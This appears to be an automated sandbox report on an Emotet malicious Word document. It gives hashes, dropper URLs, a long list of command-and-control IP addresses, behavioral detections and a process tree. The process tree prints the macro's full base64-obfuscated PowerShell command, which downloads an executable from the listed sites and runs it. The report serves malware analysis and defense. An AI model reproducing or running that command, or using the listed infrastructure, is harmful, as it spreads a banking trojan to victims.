emotet | e2cffa9c1e66e3003856353fe23b15c19d73a4ff926b8a993dd19e0eb5748f56

General

Target
emotet_e3_e2cffa9c1e66e3003856353fe23b15c19d73a4ff926b8a993dd19e0eb5748f56_2020-08-14__121532._doc.doc
Size 228KB
Sample200814-bmbtsssffn
SHA256 e2cffa9c1e66e3003856353fe23b15c19d73a4ff926b8a993dd19e0eb5748f56
MD5 3d3d9a1e8dee5947a9619a024784638d
SHA1 26f492e1b94f940048be65534b34d470777efd02
SHA512 c5a78c016040389c3654c4bfef180ae5736b0e1263e1458e6e811748105dc8a95d5b8f1cfb23bcddd32bf6a9d6d82e292f95c7905a47c9a7e74679aec3e6aa0a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.hammockworld.co.nz/imgs/xyTBsz/
exe.dropper
http://seatrade.com.eg/index_files/OGUwzJl/
exe.dropper
http://www.nancywhite-realtor.com/wp-content/qavvddXh/
exe.dropper
http://skullmedia.de/befroe.de/eyiY/
exe.dropper
https://damoshushu.com/wp-content/xhcurZgXJ/

Extracted

Family

emotet

C2

66.61.94.36:80
159.203.232.29:8080
185.86.148.68:443
74.208.173.91:8080
37.70.131.107:80
212.156.133.218:80
81.17.93.134:80
203.153.216.182:7080
115.79.195.246:80
115.165.3.213:80
216.75.37.196:8080
81.214.253.80:443
192.241.220.183:8080
172.96.190.154:8080
195.201.56.70:8080
105.213.67.88:80
50.116.78.109:8080
188.166.25.84:8080
187.64.128.197:80
198.57.203.63:8080
179.5.118.12:80
201.213.177.139:80
153.220.182.49:80
185.208.226.142:8080
192.163.221.191:8080
37.46.129.215:8080
75.127.14.170:8080
41.185.29.128:8080
91.83.93.103:443
51.38.201.19:7080
78.188.170.128:80
113.160.180.109:80
217.199.160.224:8080
190.190.15.20:80
188.251.213.180:443
203.153.216.178:7080
182.187.139.200:8080
177.37.81.212:443
181.164.110.7:80
172.105.78.244:8080
212.112.113.235:80
78.189.60.109:443
176.9.93.82:7080
201.235.10.215:80
188.0.135.237:80
92.24.51.238:80
143.95.101.72:8080
163.172.107.70:8080
87.106.231.60:8080
197.83.232.19:80
31.146.61.34:80
5.79.70.250:8080
182.176.95.147:80
190.212.140.6:80
177.144.130.105:443
46.32.229.152:8080
185.142.236.163:443
115.78.11.155:80
87.252.100.28:80
202.5.47.71:80
181.113.229.139:443
77.74.78.80:443
181.134.9.162:80
105.209.235.113:8080
157.7.164.178:8081
178.33.167.120:8080
46.105.131.68:8080
139.99.157.213:8080
177.32.8.85:80
139.59.12.63:8080
192.210.217.94:8080
75.139.38.211:80
113.161.148.81:80
107.161.30.122:8080
190.164.75.175:80
181.167.35.84:80
97.104.107.190:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	984	3864	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/400-13-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/400-13-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/1212-16-0x00000000020F0000-0x00000000020FC000-memory.dmp	emotet
behavioral2/memory/1212-16-0x00000000020F0000-0x00000000020FC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
7	984	powersheLL.exe
17	984	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
400	Xfpl.exe
1212	vbajet32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\help\vbajet32.exe	Xfpl.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3028	WINWORD.EXE
3028	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
984	powersheLL.exe
984	powersheLL.exe
984	powersheLL.exe
1212	vbajet32.exe
1212	vbajet32.exe
1212	vbajet32.exe
1212	vbajet32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	984	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
3028	WINWORD.EXE
400	Xfpl.exe
400	Xfpl.exe
1212	vbajet32.exe
1212	vbajet32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 400	984	powersheLL.exe	75
PID 984 wrote to memory of 400	984	powersheLL.exe	75
PID 984 wrote to memory of 400	984	powersheLL.exe	75
PID 400 wrote to memory of 1212	400	Xfpl.exe	76
PID 400 wrote to memory of 1212	400	Xfpl.exe	76
PID 400 wrote to memory of 1212	400	Xfpl.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e2cffa9c1e66e3003856353fe23b15c19d73a4ff926b8a993dd19e0eb5748f56_2020-08-14__121532._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3028

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABLADgAOABnADkAYwBfAD0AJwBYAHoAcwA3ADkAYQBoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQBgAFIAaQBgAFQAWQBwAFIATwB0AGAATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwANQBpADQAZABuAHAAIAA9ACAAJwBYAGYAcABsACcAOwAkAEgAcQB1AHQAbwA4ADcAPQAnAFUAYgB2AHkAYwB6AG4AJwA7ACQAVQBwAHoAdAB2AGgAbgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEwANQBpADQAZABuAHAAKwAnAC4AZQB4AGUAJwA7ACQAUAA5AGwAMQBwAGsAeAA9ACcAUwByAHAAcQB3AG0AdgAnADsAJABLAG0ANQBpAHYAXwAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMAbABpAEUATgBUADsAJABTADIAagBsAGIAYQA2AD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBoAGEAbQBtAG8AYwBrAHcAbwByAGwAZAAuAGMAbwAuAG4AegAvAGkAbQBnAHMALwB4AHkAVABCAHMAegAvACoAaAB0AHQAcAA6AC8ALwBzAGUAYQB0AHIAYQBkAGUALgBjAG8AbQAuAGUAZwAvAGkAbgBkAGUAeABfAGYAaQBsAGUAcwAvAE8ARwBVAHcAegBKAGwALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAGEAbgBjAHkAdwBoAGkAdABlAC0AcgBlAGEAbAB0AG8AcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAYQB2AHYAZABkAFgAaAAvACoAaAB0AHQAcAA6AC8ALwBzAGsAdQBsAGwAbQBlAGQAaQBhAC4AZABlAC8AYgBlAGYAcgBvAGUALgBkAGUALwBlAHkAaQBZAC8AKgBoAHQAdABwAHMAOgAvAC8AZABhAG0AbwBzAGgAdQBzAGgAdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaABjAHUAcgBaAGcAWABKAC8AJwAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGoAdwAwAG0AbwA0AD0AJwBFADMAeAA2AGUANQA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAdgAzAHEAcgBlACAAaQBuACAAJABTADIAagBsAGIAYQA2ACkAewB0AHIAeQB7ACQASwBtADUAaQB2AF8AMAAuACIARABgAG8AVwBuAGwATwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgByAHYAMwBxAHIAZQAsACAAJABVAHAAegB0AHYAaABuACkAOwAkAFIAeQBsAGoAawAyADIAPQAnAFYAeQA0ADgAcgBwAHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABVAHAAegB0AHYAaABuACkALgAiAEwAZQBOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAMwA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFUAcAB6AHQAdgBoAG4AKQA7ACQAQgAyADUAZABvAGgAaAA9ACcARwB0AHkAeAAzADMANwAnADsAYgByAGUAYQBrADsAJABFADQAOQBhAG0AaQBnAD0AJwBQAGYAegB2ADcAdQAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAbwBjAGMAYQBmAGoAPQAnAEMAZQBhAGkAZABuAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:984
- C:\Users\Admin\AppData\Local\Temp\Xfpl.exe
  "C:\Users\Admin\AppData\Local\Temp\Xfpl.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\SysWOW64\help\vbajet32.exe
    "C:\Windows\SysWOW64\help\vbajet32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1212

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/400-13-0x0000000002250000-0x000000000225C000-memory.dmp

Download

memory/984-8-0x0000028CA4370000-0x0000028CA4371000-memory.dmp

Download

memory/984-7-0x00007FFAD6600000-0x00007FFAD6FEC000-memory.dmp

Download

memory/984-9-0x0000028CBC6B0000-0x0000028CBC6B1000-memory.dmp

Download

memory/1212-16-0x00000000020F0000-0x00000000020FC000-memory.dmp

Download

memory/3028-6-0x000002064467A000-0x000002064467F000-memory.dmp

Download

memory/3028-0-0x00007FFADE330000-0x00007FFADE9F6000-memory.dmp

Download

memory/3028-5-0x0000020644675000-0x000002064467A000-memory.dmp

Download

memory/3028-4-0x000002064445D000-0x0000020644462000-memory.dmp

Download

memory/3028-3-0x000002064445D000-0x0000020644462000-memory.dmp

Download

memory/3028-2-0x000002064445A000-0x000002064445D000-memory.dmp

Download

memory/3028-1-0x000002064445A000-0x000002064445D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads